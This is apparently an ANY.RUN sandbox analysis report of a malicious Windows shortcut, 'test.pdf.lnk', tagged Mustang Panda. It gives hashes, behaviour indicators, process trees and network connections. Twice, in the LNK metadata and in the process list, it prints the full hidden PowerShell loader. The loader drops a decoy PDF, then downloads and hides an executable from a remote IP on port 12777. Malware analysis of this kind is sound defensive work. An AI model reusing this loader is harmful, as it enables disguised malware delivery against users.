Malware analysis test.pdf.lnk Malicious activity | ANY.RUN

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File name:	test.pdf.lnk
Full analysis:	https://app.any.run/tasks/2d5f47ef-6b6f-4533-a616-97075bba543f
Verdict:	Malicious activity
Analysis date:	May 10, 2025, 03:13:53
OS:	Windows 10 Professional (build: 19044, 64 bit)
Tags:	mustangpanda
Indicators:
MIME:	application/x-ms-shortcut
File info:	MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, Unicoded, HasEnvironment, PreferEnvironmentPath, length=0, window=showminnoactive
MD5:	7512B1BC530DE852AA8AEAE0E8B8F35B
SHA1:	6A4F00845E9E63F758B7A54B4EA6F69BDECEDB79
SHA256:	7D9B5FB16503C644256033613F2F05080B5CD65AB6C9BE317ADEF43034A2A349
SSDEEP:	49152:xdVO9S0lhdazO46CB6EZCsgF+gbSemBYaet9z/brINjMG/Uog2ejByIAVuNFRylQ:nVO9blhd2pdBlmFTbSemBfurI6G/UoUZ

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Launch configuration

Task duration:: 120 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- MUSTANGPANDA has been detected
  - powershell.exe (PID: 4980)
- Run PowerShell with an invisible window
  - powershell.exe (PID: 4980)
SUSPICIOUS
- Returns all items found within a container (POWERSHELL)
  - powershell.exe (PID: 4980)
- Found IP address in command line
  - powershell.exe (PID: 4980)
- Downloads file from URI via Powershell
  - powershell.exe (PID: 4980)
- Connects to unusual port
  - powershell.exe (PID: 4980)
INFO
- Gets data length (POWERSHELL)
  - powershell.exe (PID: 4980)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 4980)
- Disables trace logs
  - powershell.exe (PID: 4980)
- Checks proxy server information
  - powershell.exe (PID: 4980)
- Failed to connect to remote server (POWERSHELL)
  - powershell.exe (PID: 4980)
- Reads the software policy settings
  - slui.exe (PID: 6392)

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No Malware configuration.

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TRiD

.lnk	\|	Windows Shortcut (100)

EXIF

LNK

Flags:	Description, CommandArgs, IconFile, Unicode, ExpString, PreferEnvPath
FileAttributes:	(none)
TargetFileSize:	-
IconIndex:	(none)
RunWindow:	Show Minimized No Activate
HotKey:	(none)
Description:	Type: Text Document Size: 5.23 KB Date modified: 08/18/2024 11:23
CommandLineArguments:	-windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x00A53C72} \| Select-Object -ExpandProperty Name;$file = [System.IO.File]::ReadAllBytes($lnkpath); $path = '%temp%\教学文档' + '.pdf';$exepath = '%temp%\tmp123' + '.exe';$skipBytes = 003684; $skipdisBytes = 101476 ;$bytes = [byte[]]$file[$skipBytes..$skipdisBytes];$disbytes = [byte[]]$file[$skipdisBytes..$($file.Length-1)];[System.IO.File]::WriteAllBytes($path, $disbytes);"%temp%\教学文档.pdf";$fileUrl = ‘182.92.116.32:12777/protect_distribution.exe’;$tempFolder = [System.IO.Path]::GetTempPath();$downloadPath = Join-Path -Path $tempFolder -ChildPath "tmp_032056.exe";Invoke-WebRequest -Uri $fileUrl -OutFile $downloadPath;$file = Get-Item -Path $downloadPath;$file.Attributes = "Hidden";"%temp%\tmp_032056.exe";
IconFileName:	%SystemRoot%\System32\SHELL32.dll,2

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Total processes

133

Monitored processes

5

Malicious processes

1

Suspicious processes

0

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

632

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

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svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

4024

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

0

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

4620

C:\WINDOWS\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\SppExtComObj.Exe

—

svchost.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

KMS Connection Broker

Version:

10.0.19041.3996 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll

4980

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00A53C72} | Select-Object -ExpandProperty Name;$file = [System.IO.File]::ReadAllBytes($lnkpath); $path = 'C:\Users\admin\AppData\Local\Temp\教学文档' + '.pdf';$exepath = 'C:\Users\admin\AppData\Local\Temp\tmp123' + '.exe';$skipBytes = 003684; $skipdisBytes = 101476 ;$bytes = [byte[]]$file[$skipBytes..$skipdisBytes];$disbytes = [byte[]]$file[$skipdisBytes..$($file.Length-1)];[System.IO.File]::WriteAllBytes($path, $disbytes);"C:\Users\admin\AppData\Local\Temp\教学文档.pdf";$fileUrl = ‘182.92.116.32:12777/protect_distribution.exe’;$tempFolder = [System.IO.Path]::GetTempPath();$downloadPath = Join-Path -Path $tempFolder -ChildPath "tmp_032056.exe";Invoke-WebRequest -Uri $fileUrl -OutFile $downloadPath;$file = Get-Item -Path $downloadPath;$file.Attributes = "Hidden";"C:\Users\admin\AppData\Local\Temp\tmp_032056.exe";

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

1

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6392

"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent

C:\Windows\System32\slui.exe

SppExtComObj.Exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

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Total events

6 968

Read events

6 968

Write events

0

Delete events

0

Modification events

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Executable files

0

Suspicious files

3

Text files

4

Unknown types

0

Dropped files

PID	Process	Filename		Type
4980	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nqh5fq41.cbz.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4980	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_f3kr3ceg.ion.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4980	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\f6bdcde9a3b05068.customDestinations-ms		binary
		MD5:CE8C49E2D3CC06423CF3CC729BC96630	SHA256:CB50518585F65CD5174A9BE009BD055F9229F6C4337C2E9E12A25C86820C1B78
4980	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:989881E0F61602219F459FA7009633AD	SHA256:E4323549082B4679CC67C7EC6086F41C18CB3E267618312D897ADA5A13271D83
4980	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NJ3BTR4NA87HEJZQSI4C.temp		binary
		MD5:CE8C49E2D3CC06423CF3CC729BC96630	SHA256:CB50518585F65CD5174A9BE009BD055F9229F6C4337C2E9E12A25C86820C1B78
4980	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zqiahtrj.yob.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4980	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bvbh3cky.blx.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

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HTTP(S) requests

8

TCP/UDP connections

28

DNS requests

15

Threats

0

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
5496	MoUsoCoreWorker.exe	GET	200	23.216.77.25:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
2104	svchost.exe	GET	200	23.216.77.25:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
—	—	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
5496	MoUsoCoreWorker.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
2104	svchost.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
6544	svchost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
672	SIHClient.exe	GET	200	2.23.246.101:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
672	SIHClient.exe	GET	200	2.23.246.101:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
—	—	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
5496	MoUsoCoreWorker.exe	23.216.77.25:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
2104	svchost.exe	23.216.77.25:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
5496	MoUsoCoreWorker.exe	184.30.21.171:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
—	—	184.30.21.171:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
2104	svchost.exe	184.30.21.171:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
3216	svchost.exe	172.211.123.250:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	FR	whitelisted
4980	powershell.exe	182.92.116.32:12777	—	Hangzhou Alibaba Advertising Co.,Ltd.	CN	unknown

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	51.104.136.2 4.231.128.59	whitelisted
google.com	142.250.186.78	whitelisted
crl.microsoft.com	23.216.77.25 23.216.77.4	whitelisted
www.microsoft.com	184.30.21.171 2.23.246.101	whitelisted
client.wns.windows.com	172.211.123.250	whitelisted
login.live.com	20.190.159.71 20.190.159.130 40.126.31.3 20.190.159.128 40.126.31.71 40.126.31.131 40.126.31.73 40.126.31.130	whitelisted
ocsp.digicert.com	2.17.190.73	whitelisted
slscr.update.microsoft.com	172.202.163.200	whitelisted
fe3cr.delivery.mp.microsoft.com	20.242.39.171	whitelisted
activation-v2.sls.microsoft.com	40.91.76.224	whitelisted

Threats

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General Info

test.pdf.lnk

7512B1BC530DE852AA8AEAE0E8B8F35B

6A4F00845E9E63F758B7A54B4EA6F69BDECEDB79

7D9B5FB16503C644256033613F2F05080B5CD65AB6C9BE317ADEF43034A2A349

49152:xdVO9S0lhdazO46CB6EZCsgF+gbSemBYaet9z/brINjMG/Uog2ejByIAVuNFRylQ:nVO9blhd2pdBlmFTbSemBfurI6G/UoUZ

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MALICIOUS

MUSTANGPANDA has been detected

Run PowerShell with an invisible window

SUSPICIOUS

Returns all items found within a container (POWERSHELL)

Found IP address in command line

Downloads file from URI via Powershell

Connects to unusual port

INFO

Gets data length (POWERSHELL)

Script raised an exception (POWERSHELL)

Disables trace logs

Checks proxy server information

Failed to connect to remote server (POWERSHELL)

Reads the software policy settings

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LNK

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